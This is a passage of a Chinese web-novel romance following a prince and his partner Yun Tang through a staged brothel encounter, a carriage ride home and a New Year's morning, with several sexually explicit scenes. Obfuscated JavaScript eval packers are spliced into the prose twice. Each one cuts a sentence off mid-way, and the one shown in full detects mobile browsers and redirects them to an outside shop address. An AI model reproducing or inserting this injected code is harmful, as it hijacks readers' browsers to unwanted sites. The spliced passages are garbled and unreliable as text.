这生涩至极的“表演”,反而像一只无形的手,狠狠攥住了他的心脏。 一股热流窜起,蔓延全身。 他搂着云棠的手臂收紧,将人牢牢锁在怀中,低头在他发顶落下一个灼热的吻,声音低哑带笑: “要命……棠儿,你真是……” 真是让他爱不释手,恨不得揉进骨血里。 厢房内暧昧的寂静持续了片刻。 就在云棠脸上的红晕稍稍褪-去一些时,门外忽然响起了小心翼翼的敲门声。 “叩、叩叩。” 紧接着,一个丫鬟恭敬的声音传来:“王爷,苏老板命奴婢送些助兴之物过来,愿王爷今夜尽兴。” 燕元明眼神一冷。 助兴之物?苏墨卿这只老狐狸,试探得还真是步步紧逼。 他迅速低头,在云棠耳边用气声快速嘱咐:“配合我。” 云棠还沉浸在被要求“叫-床”的羞-耻中,闻言又是一僵,但立刻反应过来,点了点头。 虽然不知道要怎么做,但他相信王爷。 燕元明不再犹豫,搂着云棠躺下,拉过锦被将两人盖住。 床帷厚重,放下后能隔绝大部分视线,但声音却会传出去。 “进。”燕元明扬声,声音里带着一丝被打扰的不耐,还有几分情-欲未消的沙哑。 门被轻轻推开。 与此同时,燕元明开始动作。 他并未真的压-在云棠身上,而是用手肘支撑着大部分重量。 但床榻却在他刻意施力下,开始有节奏地晃动起来。 “吱呀——吱呀——” 木质床架发出规律而清晰的声响,在寂静的房间里格外突兀,也格外暧昧。 云棠被他突然的动作吓了一跳,身体僵住。 燕元明立刻低头,吻住了他的唇。 不是演戏。 而是一个实实在在的、滚烫的吻。 带着未消的欲念,带着安抚,也带着不容拒绝的强势。 他的舌撬开云棠的齿关,长驱直入,纠缠吮吸,掠夺着他的呼吸和理智。 云棠被吻得晕头转向,本能地回应。 藤蔓般的依偎悄然缠绕,身躯在交融的暖意里,泛起春池初醒时的粼粼涟漪。 锦衾之下,温度无声弥漫。 24. 第 24 章 此时无声。 云棠的呼吸渐渐乱了节拍,像是被温柔的潮水轻轻托起,又缓缓放下。 外间,那丫鬟低着头,大气不敢出,快速将手中的托盘放在桌上。 连一句“奴婢告退”都说得结结巴巴,逃也似的退了出去,轻轻带上了门。 门关上的瞬间,床榻停止了晃动。 燕元明低下头,吻了吻云棠汗湿的额发,将人更紧地拥入怀中。 良久,悸动悄然散去。 云棠蜷在他怀里,只觉得此身此心,一半浮在云端,一半沉入安宁。 是羞赧难禁,亦是情难自已。 燕元明抵着他的额头,平复着呼吸,眼底是几乎要满溢出来的怜爱。 “好了……”他在云棠唇边低语,声音哑得厉害,“人走了。” 云棠紧绷的神经这才松懈下来。 这一松懈,方才强压下的后怕和羞-耻便如潮水般涌上。 他眼眶一红,泪水毫无预兆地滚落,抽抽噎噎地小声说:“吓死我了……” 声音带着哭腔,可怜极了。 燕元明心尖一疼,忙将人搂紧,轻轻拍抚着他的背脊,像哄孩子般柔声安抚: “不怕了,不怕了……棠儿做得很好,非常好。” 他低头,细细吻去云棠脸上的泪痕。 从湿润的眼角,到泛红的脸颊,再到微肿的唇-瓣。 每一吻都极尽温柔,带着珍视,像在对待失而复得的珍宝。 “我的棠儿怎么这么乖,”他一边吻,一边低喃,“这么惹人疼……” 云棠被他这样温柔地亲吻安抚,心里那点害怕渐渐被甜蜜取代。 他吸了吸鼻子,止住哭泣,抬起湿-漉-漉的眼睛看着燕元明。 看着近在咫尺,这张他深爱着的脸,看着他眼中毫不掩饰的疼惜和爱恋,一股暖流从心底涌起。 他主动仰起脸,凑上去,在燕元明唇上轻轻回吻了一下。 虽然羞涩,虽然生涩,但这个主动的吻里,满满都是依赖和眷恋。 燕元明眸光一深,喉结滚动。 他扣住云棠的后脑,将这个吻加深。 不再是方才演戏时的激烈掠夺,而是缠绵悱恻的温柔厮磨。 唇舌交缠,气息交融,在静谧的厢房里,发酵出更浓郁的情愫。 这个吻持续了很久,直到云棠又开始轻轻推他,才依依不舍地分开。 两人额头相抵,鼻尖相触,呼吸都有些不稳。 云棠的脸红扑扑的,眼睛水润润的,看着燕元明,小声问: “王爷……我们什么时候能回去?” 他还是有些怕。 这个看似雅致实则危险的地方,他一刻也不想多待。 燕元明正要回答,窗外忽然传来一声极轻微的鸣叫。 “咕——咕咕——咕——” 三短一长,模仿夜枭的声音。 燕元明眼神骤然一凝,随即放松下来,唇角甚至勾起一抹极淡的笑意。 这是他之前与凌墨约定的暗号,意为“已控制关键人物与账册,可收网”。 苏墨卿这条线,今晚算是彻底断了。 所有证据都已到手,水榭内外也已被他的人控制。 任务完成了。 按理说,他现在应该立刻起身,去处理后续事宜。 可…… 他低头,看着怀中温香软玉的人儿。 云棠还穿着那身几乎透明的舞衣,外面松松裹着他的外袍。 衣襟敞开,露出大片雪白的胸膛和精致的锁骨。 脸上泪痕未干,眼尾绯-红,唇-瓣红肿。 整个人软软地依偎在他怀里,眼神依赖地望着他,问他什么时候回家。 这副模样,这副全然信任,全然交付的模样,让燕元明刚刚平复些许的欲念再次蠢蠢欲动。 他舍不得。 舍不得这难得的亲密独处。 舍不得云棠这副因他而情动羞怯的模样。 更舍不得……方才那场“表演”撩拨起的,尚未纾解的渴望。 他低下头,吻了吻云棠的耳朵,低哑的嗓音里带着笑意和明显的逗弄: “他们以为结束了……但我们还没完,棠儿说是不是?” 云棠被他亲得耳根发烫,听出他话里的戏谑,脸又红了,轻轻捶了他肩膀一下:“王爷欺负人……” 声音软糯,毫无力道,更像是撒娇。 燕元明低笑出声,胸腔震动。 他再次低下头,温柔的吻细细密密地落下来,从额角开始,沿着眉心,一路流连。 吻不重,却无处不在,温柔而缱绻,惹得云棠心底泛起阵阵酥软的涟漪。 方才平复的心跳,又不争气地乱了起来。 “王、王爷……”云棠被他亲得实在受不了,红着脸轻轻推开他一点,气息不稳。 “别……别亲了……真的该、该起来了……” 他隐约意识到,燕元明方才多半是故意逗他,任务可能已经完成了。 但他并不生气,只是害羞。 而且……被这样温柔地亲吻着,他其实也很喜欢,只是实在羞得受不住。 燕元明终于停下亲吻,看着云棠红透的脸和躲闪的眼神,眼中笑意更深。 他坐起身,顺手将云棠也捞起来。 云棠这才后知后觉地意识到一个严重问题。 他没衣服穿了。 原来那套鹅黄衣裙不知被徐嬷嬷扔去了哪里,身上这件舞衣更是破烂不堪,几乎不能蔽体。 他窘迫地揪着身上松垮的外袍,不知所措。 燕元明看出他的窘迫,轻笑一声,起身下床。 捡起自己之前脱下的玄色外袍和柔软的中衣,走回床边。 “抬手。”他温声道。 云棠乖乖抬起手臂。 燕元明亲手为他穿上中衣。 他的衣服对云棠来说太大了,袖口长出许多,更显得云棠身形纤细脆弱,像偷穿大人衣裳的孩子。 燕元明低着头,仔细为他系上衣带。 系到腰间时,指尖不经意划过云棠平坦的小腹,引起他一阵细微的颤-栗。 系到领口时,指节擦过他敏感的锁骨,又让他耳根泛红。 最后穿上外袍。 宽大的玄色锦袍将云棠整个包裹住,只露出一张小脸和纤细的手腕。 袍子上还残留着燕元明的体温和气息,暖暖的,带着凛冽的松雪香,将云棠牢牢笼罩。 云棠裹在这身过大的衣服里,手脚都不知道该往哪儿放,脸红得更厉害了,心里却涌起一股隐秘的甜蜜。 穿着王爷的衣服,像是被他标记了一般。 “走吧,该回去了。”燕元明自己也整理好衣物,伸手想拉他。 云棠点点头,正要下床,目光却被外间桌上的东西吸引了。 那个丫鬟送来的托盘,还放在桌上,上面盖着一块红绸。 “王爷,那是什么?”云棠好奇地问。 方才紧张,他根本没注意那丫鬟送了什么东西进来。 燕元明顺着他的目光看去,眼神微暗。 他当然知道那是什么。 “助兴之物”,无非是些下作玩意儿。 苏墨卿倒是“贴心”。 他本不想让云棠看见这些腌臜东西,但见云棠眼中纯粹的好奇,忽得改了主意。 “想知道?”他挑眉。 云棠点点头,跟在他身后,走到外间桌旁。 燕元明伸手,揭开了那块红绸。 托盘里铺着黑色的绒布,上面整整齐齐摆放着几样物事。 有玉制的,有角质的,形状各异,但无一例外,都打磨得光滑温润,在烛光下泛着暧昧的光泽。 云棠从未见过这些东西,睁大了眼睛,目光在其中逡巡。 最后,他的视线落在最中间一样物事上。 那是一根白玉所制的物件,约有小臂长短,粗细适中。 奇特的是,它并非一根直柱,而是由数个大小不一的圆球串连而成,像……像糖葫芦。 只是这“糖葫芦”通体莹白,玉质温润。 每一颗圆球都打磨得光滑无比,连接处过渡自然,在烛光下流淌着柔和的光泽。 云棠看了半晌,纯然疑惑地抬起头,指着那根白玉物件,问燕元明: “王爷,这是什么?玉做的……摆件吗?” 他的眼神清澈见底,只有纯粹的好奇,仿佛真的在询问一件寻常工艺品。 燕元明的眸光,在听到这句话的瞬间,骤然深暗。 他盯着云棠那双写满天真不解的眼睛,看着他被吻得红肿的唇。 云棠裹在宽大衣袍里,身形更显纤细脆弱。 一股强烈的占有欲,狠狠击中燕元明的心脏。 他的棠儿……怎么可以纯真成这样?又怎么可以……诱-人成这样? 这副全然不懂、任人采撷的模样,更致命。 燕元明喉结剧烈地滚动了一下。 他拿起那物件,声音低哑得不像话: “这不是摆件……”他转过身,面对云棠,一步步走近,“是好东西。” 他在床边坐下,将懵懂的云棠拉到身前。 云棠极其害羞。 …… “棠儿想不想知道,”燕元明凑近他,唇几乎贴着他的唇,灼热的气息拂过,“这东西……是怎么用的?” 云棠被他困在腿上,这个姿势让他浑身不自在。 但燕元明的语气太温柔。 他犹豫了一下,小声问:“怎、怎么用?” 话音未落,燕元明已经低头吻住了他。 他的手环住云棠的腰。 …… 云棠被吻得晕乎乎,手臂软软搭在燕元明肩上。 直到—— “!” 云棠浑身一僵,瞬间从迷离中惊醒,瞪大眼睛看着燕元明,脑子里一片混乱。 这是什么?王爷在做什么? 可看着燕元明近在咫尺的脸,看着他眼中深沉,温柔的眸光,身体先于意识做出了反应。 …… “很好……”燕元明奖励般地吻了吻他的唇-角。 云棠陷在这份温柔里,欲避无从, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云棠咬得不重,更像是一种无力的发泄,留下一圈清晰的、泛红的牙印。 他整个人脱力般软倒,靠在燕元明怀里,眼神涣散,只剩下细微的抽泣。 燕元明终于停下了动作。 将那东西随手扔在一旁的地毯上。 紧紧抱住怀中抖不止的人儿,吻他汗湿的额发,吻他泪湿的眼睫,吻他红肿的唇。 “好了,好了……不哭了……”他的声音低哑,带着无尽的怜惜和满足。 “不玩了,我们回家。” 云棠在他怀里缓了很久,才渐渐止住颤-抖。 他浑身无力,连手指都抬不起来,只能软软地靠在燕元明胸-前,小声抽噎。 燕元明用大氅将他仔细裹好,打横抱起。 厢房门打开,门外已空无一人。 走廊寂静,只有远处隐约传来的、被控制住的低微声响。 凌墨带着几名亲卫守在院中,见燕元明出来,躬身行礼。 “都处理干净了?”燕元明问,声音已恢复平日的冷沉。 “是。苏墨卿及其心腹均已控制,账册、密信等物证也已封存。”凌墨低声回禀,“水榭内外皆已肃清。” 燕元明点点头,抱着云棠,大步穿过庭院。 停云水榭门前,王府的马车静静等候。 车夫见燕元明出来,连忙放下脚凳。 燕元明抱着云棠踏上马车,车厢门关上,将外界的纷扰彻底隔绝。 车厢内宽敞温暖,铺着厚厚的绒毯,四角悬着夜明珠,散发出柔和的光晕。 燕元明将云棠放在柔软的坐榻上,自己在他身边坐下,依旧将他搂在怀中。 云棠裹在大氅里,只露出一张小脸。他累极了,也羞极了,眼皮沉沉地往下坠,却还强撑着,小声问: “王爷……我们回家了吗?” “嗯,回家。”燕元明低头,吻了吻他的额头,“睡吧,到了我叫你。” 云棠这才安心地闭上眼睛,很快便陷入沉睡。 呼吸平稳绵长,只是眼睫上还挂着未干的泪珠,脸颊也残留着情动的红晕。 燕元明静静看着他沉睡的容颜,指尖轻轻拂过他微肿的唇,拂过他脖颈上的浅浅吻痕,眸光深邃如海。 今夜种种,惊险,荒唐,却又……意乱情迷。 他的棠儿,总是能让他失控,又总能让他心软成一滩春水。 马车在寂静的街道上行驶,轱辘声规律而平稳。 燕元明抱着怀中熟睡的人,看着窗外流逝的夜色,心中一片沉静的满足。 至于云棠身体那过于剧烈,过于异常的反应背后可能隐藏的秘密…… 燕元明低下头,在云棠发顶落下一个轻柔的吻。 不急。 他有的是时间,慢慢发现,慢慢品尝。 他的棠儿,终究会对他敞开一切。 25. 第 26 章 他静静看着。 看着云棠低垂的侧脸,微微颤-抖的指尖,泛红的耳尖,因紧张而抿紧的唇。 胸膛里有什么东西在疯狂鼓噪,撞击着肋骨,几乎要破体而出。 不是冲动。 是感动,是心疼,是想要将这个人揉进骨血里的念头。 中衣的系带终于松开。 云棠的手顿了顿,随即,像是下定了决心,轻轻将衣襟拨开。 他不敢抬头,视线只敢盯着自己的指尖。 缓缓低下了头。 空气仿佛在这一刻凝滞。 有什么无声的情愫,在两人之间静静流淌。 燕元明的心跳漏了一拍,随即擂鼓般响起,浑身的肌肉骤然绷紧。 他感觉到云棠的靠近。 那柔软的唇,带着生涩的试探,轻轻贴了上来。 一瞬间,所有的理智溃不成军。 云棠的大脑一片空白。 他根本不知道自己在做什么,只是凭着本能,笨拙地尝试着。 肌肤滚烫,带着独特的气息,混着松雪香的味道,并不难闻,却让他心慌。 他试着张开嘴,不知该如何继续,僵硬地停留在那里,脸颊烧得快要冒出烟来。 一只温热的手掌抚上了他的侧脸。 燕元明的手很大,掌心带着薄茧,轻轻托着他的脸,指腹摩挲着他发烫的肌肤。 无声的鼓励与安抚,让云棠慌乱的心跳稍稍平复了一些。 他抬起眼,看向燕元明。 燕元明也正低头看着他,眸色深暗如夜,里头翻涌着云棠看不懂的情绪。 像是压抑许久的潮水,终于找到了倾泻的出口。 可他的眼神又是温柔的。 “棠儿,”他哑声开口,声音低得只有两人能听见,“若不愿,便停下。” 云棠摇了摇头。 他鼓起勇气,再次低下头。 唇舌笨拙,牙齿偶尔不小心磕碰到,引来燕元明压抑的闷哼。 云棠更加慌乱,又有了不服输的劲头。 他想做好。 想回应这份给了他全部温柔与深情的真心。 燕元明的手从云棠脸颊滑到后脑,手指穿过他柔软的发丝,轻柔地抚过,似安抚,似引导。 他的呼吸越来越重,胸膛剧烈起伏。 云棠渐渐找到了些许节奏。 他不再那么僵硬,试着去回应,去感受。 细微的声音在寂静中格外清晰,融进两人交错的呼吸里。 车厢内本就暖热,此刻更是被彼此的气息填满。 混着松木炭火的味道,酿成一种独特的、只属于此刻的温热。 燕元明仰起头,喉结剧烈滚动。 他从未想过,有朝一日,会有人为他做这样的事。 更未想过,这个人会是云棠。 他捧在心尖上,连重话都舍不得说一句的人。 从这个角度俯视,云棠墨色的长发披散在背上,几缕发丝黏在汗湿的颊边。 脸颊绯-红,睫毛湿成一缕缕,因努力而微微蹙着眉,唇-瓣湿润红-肿。 腮帮子微微鼓起。 那副模样,纯真又动人,羞-怯又大胆,像一幅精心绘制的画卷,却又比任何画作都生动千万倍。 燕元明的手指无意识收紧,插-入云棠发间。 快-意如潮水般堆积,从尾-椎窜上脊椎,直冲头顶。 他咬紧牙关,试图克制,可身体的本能反应超越了所有理智。 呼吸渐渐乱了节奏,额角微微见汗。 “棠儿……”他哑声唤他,声音里带着极力压制的隐忍。 云棠像是没听见,或者说,他听见了,却选择了忽略。 燕元明按在他后脑的手轻轻颤了一下。 云棠知道,王爷快到极限了。 这个认知让他心里涌起奇异的满足,甚至冲淡了方才的羞赧。 他更加用心,虽生涩笨拙,却全心交付。 终于,燕元明再也无法忍耐。 最后的瞬间,他猛地按住云棠的肩膀,想将他推开。 可已经来不及了。 时间仿佛静止。 云棠怔怔地僵在那里,唇瓣微张,瞳孔因惊愕而放大。 脸上传来陌生的触感,带着浓郁的气息。 他眨了眨眼,有什么从睫毛上滑落,落在嘴角。 那一瞬间,巨大的羞赧如潮水般将他淹没。 他整个人像是被烫到一般,猛地向后缩,却被燕元明牢牢按住了后颈,没能逃开。 “别动,”燕元明的声音沙哑得几乎破碎,带着浓重的喘-息,“让我……帮你擦。” 他从一旁抓过干净的内衬,轻柔地擦拭云棠的脸。 从额头到脸颊,从眼角到唇-角,动作小心翼翼,仿佛在对待一件稀世珍宝。 云棠呆呆地任由他动作,脸颊滚烫,眼神躲闪,根本不敢与他对视。 直到燕元明擦拭到他嘴-角时,指尖无意碰到,他才像是突然惊醒,猛地别过脸去。 “对不住,”燕元明低声说,语气里是毫不掩饰的懊悔与心疼,“我没忍住。” 云棠摇头,声音细弱蚊蚋:“没、没关系……” 他说着没关系,可耳尖红得滴血,整个人羞得像要蜷缩起来。 燕元明看着他这副模样,心底那股刚平息些许的欲-火,竟又隐隐有复燃的迹象。 尤其是,当他的目光落在云棠脸上。 那些尚未完全擦净的痕迹,红-肿湿润的唇,蒙着水雾,羞怯躲闪的眼眸…… 一种更加强烈的占有欲涌上心头。 他的棠儿,这副被他彻底沾染,彻底占有的模样,实在太…… 燕元明闭了闭眼,深吸一口气,试图平复心绪。 可云棠却在此刻,悄悄抬起眼,看了他一眼。 所有的克制,在这一眼中土崩瓦解。 燕元明猛地低头,狠狠吻住了云棠的唇。 这个吻,带着云棠没尝过的味道,可燕元明不在乎。 他只想吻他,想让他知道,无论怎样,他都是他最珍视的宝贝。 云棠被他吻得猝不及防,却很快回应起来。 他尝到了自己脸上的味道,微咸,微涩,却不觉得恶心。 因为是燕元明的,是属于这个人的一切。 吻是滚烫的,又温柔得不可思议。 燕元明低头,覆上他的唇。 所有未尽的言语,都融进了这个温柔而绵长的吻里。 辗转,厮磨,气息相融。 那些残留的痕迹,在唇齿相依间被一一抚平,酿成独属于彼此的温热。 云棠被吻得浑身发软。 手臂紧紧环着燕元明的脖颈,指尖轻轻摩挲着他后颈的发根,动作依赖又亲昵。 不知过了多久,燕元明才缓缓退开些许。 两人额头相抵,呼吸交织。 云棠嘴唇微红,眼神迷离,脸上泪痕未干,泛着浅浅的绯色。 那副模样,脆弱又动人,纯真又柔软,像是一朵被雨露打湿的花,在夜色中悄然绽放。 燕元明看着这样的他,眸光微动,心尖像被什么轻轻挠了一下。 他再次低头,吻了吻云棠湿润的眼角,将他紧紧搂进怀中。 云棠依偎在他怀里,脸贴着他滚烫的胸膛,听着那沉稳有力的心跳声,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261360|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是被温柔托起,浮在云端。 羞赧还未散去,可更多的,是安稳,是甜蜜。 他闭上眼睛,悄悄弯了弯唇-角。 能被这样温柔地对待,也让他这样欢喜。 真好。 “下次……”云棠小声开口,声音微哑,软得像棉花,“不许这样了。” 他说的是脸上那些痕迹的事。 燕元明低低地笑了,低沉而愉悦,胸腔震动,传到云棠耳中。 “好,”他吻了吻云棠的发顶,嘴唇贴着那处柔软的发丝,轻声说,“下次我注意。” 语气温柔。 云棠耳尖更红,却不再说话,只是将脸更深地埋进他怀里。 手指悄悄探出来,在他心口的位置,指尖轻轻描画着,动作又轻又慢,像是不舍,又像是依恋。 燕元明握住那只作乱的手,拉到唇边,亲了亲指尖。 “累不累?”他问。 云棠点点头,又摇摇头,那副迷迷糊糊的样子,分明是累极了,却又不舍得睡。 他的眼皮已经开始打架,睫毛一-颤一-颤的,还强撑着不肯闭上。 “睡吧,”燕元明轻声道,手掌一下一下拍着他的背,像哄孩子入睡,“到家我叫你。” “嗯……”云棠含糊地应了一声,终于闭上了眼睛。 可手还紧紧攥着燕元明的衣襟,像是怕一松手,这个人就会消失不见。 燕元明低头看着怀中沉沉睡去的人,眼底的温柔几乎要溢出来。 他轻轻调整了一下姿势,让云棠睡得更舒服些,拉过大氅,将人裹得更紧。 …… 马车缓缓停了下来。 外头传来凌墨压低的声音,隔着车帘,显得很远:“王爷,到了。” 燕元明应了一声,却并未立刻动作。 低头看着怀中人安静的睡颜。 轻颤的睫毛,微微嘟起的唇,因熟睡而放松的眉眼,怎么看都看不够。 他轻轻吻了吻云棠的眉心,极轻极柔,像羽毛拂过。 “到家了,棠儿。”他低声说,声音轻得像怕惊扰了梦境。 用那件玄色大氅将云棠仔细裹好,确保不露一丝肌肤,只露出一张安静的睡颜。 稳稳地抱起怀中人,起身,弯腰,踏出了车厢。 冬夜的寒风立刻扑面而来。 燕元明侧了侧身,用自己宽阔的肩膀为云棠挡住风雪。 怀中的人似有所觉,往他怀里缩了缩,嘴里含糊地嘟囔了一声什么,又沉沉睡去。 王府门前的灯笼高悬,投下暖黄的光晕,将两人的影子拉得很长,很长。 凌墨与几名侍卫垂首立在两侧,眼观鼻鼻观心,无人敢抬头多看一眼。 只有凌墨悄悄抬眼,瞥见王爷怀中那团被大氅裹得严严实实的身影。 又见王爷脸上露出从未见过的温柔神色,心中了然,迅速垂下眼帘。 燕元明抱着云棠,大步流星地踏上台阶,走进那扇敞开的朱漆大门。 特意放轻了脚步,生怕颠簸惊醒了怀中的人。 门在身后缓缓合拢,将风雪与夜色隔绝在外。 门廊下悬挂的宫灯洒下温暖的光,照亮前路。 燕元明抱着云棠,穿过寂静的回廊,走向归阙居的方向。 沉稳的脚步声在空旷的庭院里回荡,让人安宁。 云棠在他怀中,似乎感觉到了这份安宁,紧攥着他衣襟的手指渐渐松开,呼吸也变得更加绵长均匀。 他无意识地蹭了蹭燕元明的胸膛,像小兽寻找最温暖的巢-穴,嘴-角勾起一丝若有若无的笑。 燕元明低头看见,心脏像是被什么东西轻轻击中,软得一塌糊涂。 26.第 27 章 早上,云棠是在一阵细微的痒意中醒来的。 睫毛颤动,睁开眼时,先映入眼帘的是玄色寝衣微敞的领口,以及那片线条紧实的胸膛。 他怔了一瞬,昨夜记忆如潮水般涌来,脸颊倏地烧起来。 他下意识想蜷缩,却发现自己整个人被圈在温暖的怀抱里,动弹不得。 头顶传来低沉的轻笑。 “醒了?”燕元明声音微哑,温热的气息拂过他额发。 云棠这才意识到,方才那阵痒意,是燕元明的指尖在轻轻描摹他的眉眼。 他羞赧地垂下眼,小声道:“王爷。” “早。”燕元明应着,指尖从眉骨滑到脸颊,在那片细腻的肌肤上流连,“睡得可好?” 云棠点头。 其实身体有些酸软,但他不愿说,只将脸往燕元明怀里埋了埋。 嗅着熟悉的松雪气息,心底涌起踏实的暖意。 这便是确定心意的感觉么? 不再忐忑猜疑,不再患得患失,只是这样安静相拥,便觉得天地安宁。 燕元明手掌从他后背滑下,停在腰侧,轻轻按揉起来。 “可是这里酸?”他问得自然,力道恰到好处。 云棠身体微微一僵,随即放松下来,任由那温热掌心在腰际缓缓揉动。 酸胀感渐渐舒缓,他舒服得轻哼一声,指尖无意识攥紧了燕元明的寝衣。 “还有哪里不适?”燕元明的声音近在耳畔。 云棠摇头,耳尖泛红:“没、没有了……” 燕元明却不信,手继续向下,隔着薄薄的寝裤,轻轻按揉那片酸软的肌肉。 云棠微微一-颤,喉咙里溢出细弱的呜咽,羞得把整张脸都埋进枕头里。 “是我昨夜过了。”燕元明低声道,语气里带着歉疚,动作却未停,“往后……我多注意些。” 这话说得温柔,云棠听得耳根发烫,心里却泛起甜意。 他悄悄侧过脸,从睫毛缝隙里偷看燕元明。 那张总是冷峻的侧脸线条柔和,眼底盛着毫不掩饰的温柔。 “今日除夕,”燕元明忽然道,“朝中休沐,我无事。” 云棠眼睛亮了亮。 “全天陪你。”燕元明补充,低头吻了吻他额角,“想做什么?” 云棠心里雀跃,面上却还端着矜持:“王爷不必特意陪我……府里事务,或是……” “府里事务有周总管。”燕元明打断他,手指勾了勾他鼻尖,“至于别的,都不及陪你重要。” 这话说得直白,云棠脸颊更红,嘴角却忍不住上扬。 他想了想,小声道:“那……我想包饺子。” 燕元明一怔,随即失笑:“怎么想起这个?” “往年宫中除夕宴,总有饺子,可我从未见过是怎么包的。” 云棠声音渐低,“都是御膳房做好了端上来,冷冰冰的,摆着好看罢了。” 他说得平淡,燕元明却听出了其中的寂寥。 宫中除夕,皇子公主们或随帝后守岁,或在自己宫中设小宴,唯独云棠,怕是连口热乎饺子都难得。 “好。”燕元明将他搂紧了些,“今日我教你。” 两人又温-存片刻,才起身梳洗。 燕元明亲自去衣橱挑了衣裳。 一身银红色锦袍,领口袖缘滚着白狐裘边,衬得云棠肌肤愈白。 外罩同色披风,风帽上缀着细密的绒毛,戴上时只露出一张精致小脸。 “红色喜庆。”燕元明为他系披风带子,从背后环抱的姿势,唇几乎贴着他耳廓,“我的棠儿,穿红色好看。” 云棠被他气息拂得耳根发痒,小声道:“太显眼了……” “显眼才好。”燕元明低笑,在他耳垂上轻啄一下,“让所有人都知道,你是我的。” 这话带着不容置疑的占有,云棠听得心尖发颤,却又泛起隐秘的欢喜。 他乖顺地站着,任由燕元明为他整理衣襟,抚平袖口,最后牵起他的手,十指相扣。 “走吧,先用早膳。” 王府里已是一派年节气象。 朱漆廊柱上新贴了春联,墨迹遒劲,是燕元明亲笔所书。 檐下挂满大红灯笼,穗子在晨风里轻摇。 仆从们穿梭忙碌,见了燕元明与云棠,纷纷停下行礼,眼神恭敬,唇-角却都噙着笑意。 云棠起初有些不自在。 可燕元明握着他的手始终未松,步履从容,仿佛这是再自然不过的事。 渐渐地,云棠也放松下来,偷偷打量起廊下新挂的彩灯。 早膳设在花厅,八仙桌上摆了十几样精致小点,热气腾腾。 燕元明按着云棠坐下,亲自盛了碗桂花酒酿圆子递过去:“先暖暖胃。” 云棠接过,小口吃着。 甜糯的圆子裹着酒酿的醇香,暖意从胃里蔓延开,连指尖都暖和起来。 正吃着,老总管周伯笑吟吟进来,先向燕元明行了礼,随即转向云棠,恭敬道: “殿下,今年守岁的菜式,赏钱份例都已按往例备好,您可要过目?若有添改,老奴即刻去办。” 云棠一愣,下意识看向燕元明。 燕元明正夹了块水晶糕放在他碟中,闻言头也不抬:“你做主便是。” 云棠抿了抿唇,思索片刻,轻声道:“菜式……可否多加几样甜的?还有,赏钱给大家多发半份吧,辛苦一年了。” 他说得小心,周伯笑逐颜开,连连应下:“殿下仁厚,老奴这就去办。” 待周伯退下,云棠才小声问燕元明:“我这样……可妥当?” “极妥当。”燕元明捏了捏他手心,“你是这府里的主人,想如何便如何。” 主人。 这两个字沉甸甸的,落在云棠心尖上,漾开一圈圈涟漪。 他低头喝粥,嘴角悄悄扬起。 早膳后,两人往厨房方向去。 穿过月洞门时,隐约听见假山后有丫鬟窃窃私语: “瞧见没?王爷一直牵着七殿下呢。” “何止!早上我听归阙居伺-候的姐姐说,王爷亲自给殿下穿衣梳头,温柔得不得了……” “真好啊,往年除夕,王爷都是独自在书房过,冷冷清清的,今年总算热闹了。” “可不是,殿下性子也好,方才还嘱咐周伯给大家加赏钱呢……” 声音渐远,云棠耳根泛红,手指在燕元明掌心轻轻蜷了蜷。 燕元明侧头看他,眼底含笑:“听见了?” “嗯……” “她们说得不对。”燕元明忽然道。 云棠一怔。 “不是七殿下。”燕元明停下脚步,转过身面对他,手指抬起他下巴,望进他眼睛里,“是王妃。” 这话说得认真,云棠心跳漏了一拍。 “走吧。”燕元明重新牵起他的手,“包饺子去。” 厨房旁的暖阁已收拾出来,临窗摆了张宽大的紫檀木案台,面粉、馅料、擀面杖一应俱全。 为图清净,只留了两个厨娘在旁帮忙和面调馅,其余人都屏退了。 云棠好奇地看着案上东西。 面团雪白柔软,馅料分了三样:猪肉白菜、虾仁三鲜、还有一味甜口的豆沙。 都是寻常食材,可在他眼里却新鲜得很。 “先洗手。”燕元明引他到铜盆前,亲自舀了温水,握着他的手仔细清洗。 掌心相贴,温水滑过指缝,云棠脸又有些热。 洗罢,燕元明站到他身后,双臂从他身侧环过,握住了他的手。 “这样,”他的声音在耳畔响起,气息温热,“掌心托着皮,别太用力。” 云棠低头,看着燕元明的手覆在自己手背上。 那双手骨节分明,手指修长,正引导着他的动作。 一张圆圆的饺子皮被放在他掌心,接着一小勺馅料。 “对折,边缘捏紧。”燕元明带着他做,指尖在他手背上轻轻点按,“这里要捏出褶子,像这样。” 云棠学得认真,可注意力总是不由自主地分散。 燕元明的胸膛紧贴着他的后背,体温透过衣裳传来。 下巴搁在他肩头,说话时嘴唇几乎擦过他耳廓。 还有那双手,包裹着他的,掌心温热,指腹带着薄茧,每一次摩挲都让他心跳加速。 第一个饺子包得歪歪扭扭,馅料还漏出来些。 “无妨。”燕元明低笑,就着他手把破口捏紧,“多试几次就好。” 第二个、第三个……云棠渐渐找到些手感,包出的饺子虽不算精巧,却也像模像样了。 他开心地转头,想给燕元明看,却不料对方正低头看着他,这一转头,嘴唇擦过燕元明的下巴。 燕元明眸色一深,顺势吻了下来。 一个浅尝辄止的吻,却缠绵悱恻。 云棠被他亲得晕乎乎,手里刚包好的饺子差点掉在案上。 “王爷……”他小声抗议,“好好包饺子……” 燕元明退开些,眼底笑意更深:“好,继续。” 可接下来的“教学”,却越发不正经了。 揉面时,燕元明从背后整个环住云棠,双手覆在他手上揉按面团。 可揉着揉着,那动作就变了味。 掌心全包住云棠的手背,指腹轻轻摩挲他每一根手指的关节,力道时轻时重。 身体也贴得极紧,云棠能清晰感觉到身后人胸膛的起伏。 还有…… 无意间的蹭动。 第一次,云棠以为是意外,身体僵了僵。 第二次,更明显了些。 